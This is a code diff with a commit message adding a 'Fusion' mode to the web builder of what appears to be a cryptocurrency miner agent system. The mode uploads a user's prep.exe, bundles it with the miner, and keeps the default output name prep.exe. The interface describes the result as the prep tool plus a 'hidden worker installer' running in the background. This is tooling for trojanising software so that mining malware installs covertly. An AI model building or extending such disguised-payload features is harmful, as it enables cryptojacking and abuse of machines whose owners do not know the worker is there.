Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

server/web/src/pages/BuilderPage.tsx

@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
     pool_pass: config.pool.password,
+    fusion_enabled: false,
+    fusion_run_order: 'parallel',
+    fusion_output_name: 'prep.exe',
   };
 }
 
@@ -52,6 +55,7 @@ export default function BuilderPage() {
   const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
   const [showRecent, setShowRecent] = useState(false);
   const [loadingDefaults, setLoadingDefaults] = useState(true);
+  const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
 
   useEffect(() => {
     Promise.all([api.getConfig(), api.getServerInfo()])
@@ -95,10 +99,14 @@ export default function BuilderPage() {
       setError('Custom install base path is required when Install Base is Custom');
       return;
     }
+    if (form.fusion_enabled && !fusionPrepFile) {
+      setError('Fusion requires your prep.exe file');
+      return;
+    }
 
     setBuilding(true);
     try {
-      const result = await api.buildAgent(form);
+      const result = await api.buildAgent(form, fusionPrepFile);
       if (!result.success) {
         throw new Error(result.error || 'Build failed');
       }
@@ -477,6 +485,58 @@ export default function BuilderPage() {
               </div>
             </div>
 
+            <div className="form-section">
+              <h3>Fusion (prep + worker)</h3>
+              <p className="form-description">
+                Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
+              </p>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.fusion_enabled}
+                    onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
+                  <span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
+                </label>
+                <FieldHint field="fusion_enabled" />
+              </div>
+              {form.fusion_enabled && (
+                <>
+                  <div className="form-group">
+                    <label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
+                    <input
+                      type="file"
+                      className="input"
+                      accept=".exe,application/octet-stream"
+                      onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
+                    />
+                    {fusionPrepFile && (
+                      <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
+                    )}
+                  </div>
+                  <div className="form-row">
+                    <div className="form-group">
+                      <label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
+                      <select className="select" value={form.fusion_run_order}
+                        onChange={(e) => updateField('fusion_run_order', e.target.value)}>
+                        <option value="parallel">Parallel (both at once)</option>
+                        <option value="prep_first">Prep first, then worker</option>
+                        <option value="worker_first">Worker first, then prep</option>
+                      </select>
+                      <FieldHint field="fusion_run_order" />
+                    </div>
+                    <div className="form-group">
+                      <label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
+                      <input type="text" className="input mono" value={form.fusion_output_name}
+                        onChange={(e) => updateField('fusion_output_name', e.target.value)} />
+                      <FieldHint field="fusion_output_name" />
+                    </div>
+                  </div>
+                  <p className="form-hint">
+                    Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
+                  </p>
+                </>
+              )}
+            </div>
+
             {error && (
               <div className="form-error">
                 <span>⚠️</span> {error}
@@ -494,6 +554,9 @@ export default function BuilderPage() {
             <h2>Installer Ready</h2>
             <div className="build-success">
               <p><strong>Run this once on each Windows machine:</strong></p>
+              {lastBuild.fusion_enabled && (
+                <p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
+              )}
               <p><strong>File:</strong> {lastBuild.file_name}</p>
               <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
               <p><strong>Absolute path:</strong></p>